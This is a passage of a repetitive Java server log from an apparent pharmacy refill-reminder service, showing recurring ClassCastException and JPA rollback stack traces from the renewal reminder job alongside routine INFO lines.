org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 15:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 15:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 15:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 15:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 15:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 15:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 15:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 15:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 15:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 15:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 15:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 15:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 15:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 15:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 15:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 15:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 15:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 15:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 15:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 15:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 15:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 15:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 15:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 15:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 15:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 15:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 15:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 15:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 15:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at 